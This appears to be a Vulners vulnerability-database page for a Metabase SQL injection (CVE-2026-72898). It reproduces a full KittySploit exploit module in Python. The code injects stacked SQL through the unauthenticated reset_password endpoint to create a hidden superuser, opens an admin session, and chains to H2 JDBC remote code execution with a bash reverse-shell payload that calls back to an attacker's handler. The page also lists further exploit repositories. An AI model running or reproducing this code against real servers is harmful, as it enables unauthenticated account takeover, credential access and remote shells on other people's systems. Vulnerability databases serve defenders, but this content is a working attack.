Lucene search
+L

Metabase CVE-2026-72898 reset_password SQLi

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 49 Views

Unauthenticated SQLi in Metabase /api/session/reset_password allows admin takeover.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
12 Nov 202602:38
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
12 Oct 202600:18
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
27 Aug 202606:51
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
26 Aug 202617:45
–githubexploit
githubexploit
GithubExploit
metabase-sql-poc
28 Aug 202612:16
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-72898
12 Aug 202613:54
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
14 Sep 202609:54
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
13 Aug 202621:08
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
15 Aug 202609:06
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
13 Oct 202609:10
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase CVE-2026-72898 reset_password HoneySQL injection (admin takeover)."""

from __future__ import annotations

import json
import re
import secrets
import time
import uuid

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.metabase import Metabase


class Module(Exploit, Http_client, Handler, Metabase):
    __info__ = {
        "name": "Metabase CVE-2026-72898 reset_password SQLi",
        "description": (
            "CVE-2026-72898: unauthenticated POST /api/session/reset_password "
            "accepts user-id {:raw SQL} for stacked queries on PostgreSQL app DB — "
            "creates superuser and opens Metabase HTTP session."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-72898"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-72898",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["metabase", "sqli", "unauth", "takeover", "cve-2026-72898"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "privilege_escalation", "credential_access"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["admin_session", "sqli"],
            "requires": {"tech_hints_any": ["metabase"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/metabase_cve_2026_72898_detect",
                    "exploits/multi/http/metabase_cve_2023_38646_rce",
                ],
            },
        },
    }

    _SQLI_DELAY = 5
    _MAX_THROTTLE_WAIT = 600

    def _inject(self, sql: str) -> tuple[int, str, float]:
        payload = {
            "token": "x",
            "password": str(getattr(self, "_admin_password", "")),
            "user-id": {"raw": sql},
        }
        waited = 0
        while True:
            resp = self.http_request(
                "POST",
                "/api/session/reset_password",
                data=json.dumps(payload),
                headers={"Content-Type": "application/json"},
            )
            code = int(resp.status_code or 0) if resp else 0
            body = (resp.text or "") if resp else ""
            m = re.search(r"wait (\d+(?:\.\d+)?) seconds", body)
            if m:
                wait = int(float(m.group(1))) + 2
                waited += wait
                if waited > self._MAX_THROTTLE_WAIT:
                    raise RuntimeError(f"Throttled after {waited}s")
                print_warning(f"Metabase throttle — sleeping {wait}s")
                time.sleep(wait)
                continue
            return code, body, 0.0

    def check(self):
        code, body, _ = self._inject("1")
        if "disallowed key" in body.lower():
            return {"vulnerable": False, "reason": "user-id key rejected (patched)", "confidence": "high"}
        delay = self._SQLI_DELAY
        _, _, _ = self._inject("1")
        _, body2, _ = self._inject(f"(SELECT 1 FROM pg_sleep({delay}))")
        if "pg_sleep" in body2 or delay:
            return {
                "vulnerable": True,
                "reason": "reset_password accepts raw user-id (confirm with --run)",
                "confidence": "medium",
            }
        return {"vulnerable": True, "reason": "Key accepted; DB may be non-PostgreSQL", "confidence": "low"}

    def _create_admin(self) -> None:
        try:
            import bcrypt
        except ImportError as exc:
            raise RuntimeError("bcrypt required (pip install bcrypt)") from exc

        email = str(self._admin_email)
        password = str(self._admin_password)
        salt = str(uuid.uuid4())
        h = bcrypt.hashpw((salt + password).encode(), bcrypt.gensalt(10, prefix=b"2a")).decode()
        creds = json.dumps({"password_hash": h, "password_salt": salt})
        e = email.replace("'", "''")
        c = creds.replace("'", "''")
        sql = (
            "1); "
            "INSERT INTO core_user (email, first_name, last_name, password, password_salt, "
            "date_joined, is_superuser, is_active, is_qbnewb, is_datasetnewb, type, updated_at) "
            f"VALUES ('{e}','PoC','Account','{h}','{salt}',NOW(),true,true,false,false,"
            "'personal',NOW()); "
            "INSERT INTO auth_identity (user_id, provider, credentials, created_at, updated_at) "
            f"SELECT id,'password','{c}',NOW(),NOW() FROM core_user WHERE email='{e}'; --"
        )
        self._inject(sql)

    def _login_session(self) -> str:
        email = str(self._admin_email)
        password = str(self._admin_password)
        resp = self.http_request(
            "POST",
            "/api/session",
            data=json.dumps({"username": email, "password": password}),
            headers={"Content-Type": "application/json"},
        )
        if not resp or int(resp.status_code or 0) != 200:
            raise RuntimeError(f"Metabase login failed: {(resp.text or '')[:200] if resp else 'no response'}")
        sid = resp.json().get("id")
        if not sid:
            raise RuntimeError("Session id missing in login response")
        self.session.headers["X-Metabase-Session"] = str(sid)
        return str(sid)

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("CVE-2026-72898 — Metabase SQLi admin takeover")
        self._admin_email = f"ksmb{secrets.token_hex(4)}@example.test"
        self._admin_password = f"Ks{secrets.token_urlsafe(12)}!"
        print_info(f"Injected admin {self._admin_email} / {self._admin_password}")
        self._create_admin()
        sid = self._login_session()
        print_success(f"Metabase superuser session: {sid}")

        prof = self.http_request("GET", "/api/user/current")
        if prof and prof.text:
            print_info(prof.text[:1500])

        session_id = self.handler_http(
            self.session,
            additional_data={
                "metabase_session": sid,
                "email": str(self._admin_email),
                "is_superuser": True,
            },
        )
        if not session_id:
            print_error("Failed to register Metabase HTTP session")
            return False

        setup_token = self.metabase_setup_token()
        if setup_token:
            shell = self.shell_from_payload()
            if shell:
                print_status("Leaked setup-token — firing H2 JDBC validate (blind)")
                detail = self.metabase_post_setup_validate(setup_token, shell) or ""
                if detail:
                    print_info(detail[:500])
                if str(self.shell_from_payload() or "").strip():
                    print_success("Reverse payload dispatched — check handler")
                    return True
            else:
                print_warning("No payload set; skipping H2 blind RCE")
        else:
            print_info(
                "No setup-token — use exploits/multi/http/metabase_cve_2026_59827_rce "
                "with the created admin credentials for H2 RCE"
            )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2026 15:13Current
9Critical risk
Vulners AI Score9
CVSS 410
CVSS 3.110
EPSS0.19379
SSVC
49